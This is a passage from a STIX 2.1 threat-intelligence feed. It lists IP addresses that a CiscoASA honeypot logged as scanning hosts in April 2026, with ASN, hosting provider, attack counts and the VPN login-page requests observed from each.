            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--b96c769a-ebdd-43fc-8f02-be118b195087",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-09T00:49:25.261Z",
          "last_seen": "2026-04-09T00:49:25.928Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--4554f602-6195-4b92-93b3-67ceaa2daefc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-09T01:15:36.342Z",
          "last_seen": "2026-04-23T17:20:30.364Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--5b1178f4-fb3f-4a86-8691-27d073c561ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-09T01:13:31.129Z",
          "last_seen": "2026-04-23T12:41:54.708Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--6c1da91c-a00a-4d10-9659-eaef566de146",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.46.251.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-09T00:47:59.418Z",
          "last_seen": "2026-04-09T00:48:02.422Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--4e79dd00-c9ee-4ea5-b6cb-6debddf10347",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-09T01:02:42.640Z",
          "last_seen": "2026-04-23T21:03:53.008Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--527e2d40-4429-4858-bc65-dca9fd28377d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-09T00:56:13.337Z",
          "last_seen": "2026-04-09T00:56:23.043Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--f6625ede-ade2-490a-ad10-31559272cee7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.90.5.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-09T00:55:05.761Z",
          "last_seen": "2026-04-09T00:55:05.761Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--88c025b9-500c-4cf1-a276-b92b1829a09c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T21:41:20.229Z",
          "last_seen": "2026-04-27T14:55:01.731Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--07fbce54-2293-4124-bff4-b9d8ef9c888f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.91.1.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-09T00:55:39.834Z",
          "last_seen": "2026-04-09T00:55:42.835Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--2a230298-f741-4685-bc5a-3c34bb1ba5a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-09T01:03:14.983Z",
          "last_seen": "2026-04-09T01:03:33.863Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2cf5a4a6-c9d5-4127-8ba4-afb1394b958c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:20:05.000Z",
      "valid_until": "2026-05-11T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 39,
          "first_seen": "2026-04-09T01:00:04.623Z",
          "last_seen": "2026-04-28T07:30:51.192Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--17b6856b-e8ea-477b-ac0e-05bca70a709e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-09T02:03:31.299Z",
          "last_seen": "2026-04-25T00:35:31.514Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--49637823-fe94-40f8-8208-32e27234f84b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-09T01:39:26.608Z",
          "last_seen": "2026-04-27T19:34:26.500Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b4e6685f-9897-4acf-a6a9-692488324023",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-09T02:04:29.113Z",
          "last_seen": "2026-04-21T05:15:33.227Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--aee39831-bee7-478c-92bc-f6e4985f3e17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-09T02:19:36.101Z",
          "last_seen": "2026-04-29T09:54:40.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5d220070-5b4b-4b2a-9861-896a6c112d4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-09T01:35:50.659Z",
          "last_seen": "2026-04-23T13:39:36.509Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--17d610c3-1a09-4aef-941f-0eebc9fe8d8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-09T01:39:09.914Z",
          "last_seen": "2026-04-29T21:25:45.117Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5f3fbeff-795a-47a8-b2b6-07f05083293e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-09T02:15:44.785Z",
          "last_seen": "2026-04-29T01:31:59.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d452c36d-2ef1-4bf9-9628-105fa987f34c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-09T01:57:33.535Z",
          "last_seen": "2026-04-21T11:43:52.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--eb0be409-6e0f-4099-9922-ac40a5d4c825",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:20:10.000Z",
      "valid_until": "2026-05-11T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-09T01:20:12.823Z",
          "last_seen": "2026-04-29T21:17:58.889Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e72ed484-9677-4a8b-a3ac-5f746b720bc4",
      "labels": [
        "scanning_host",
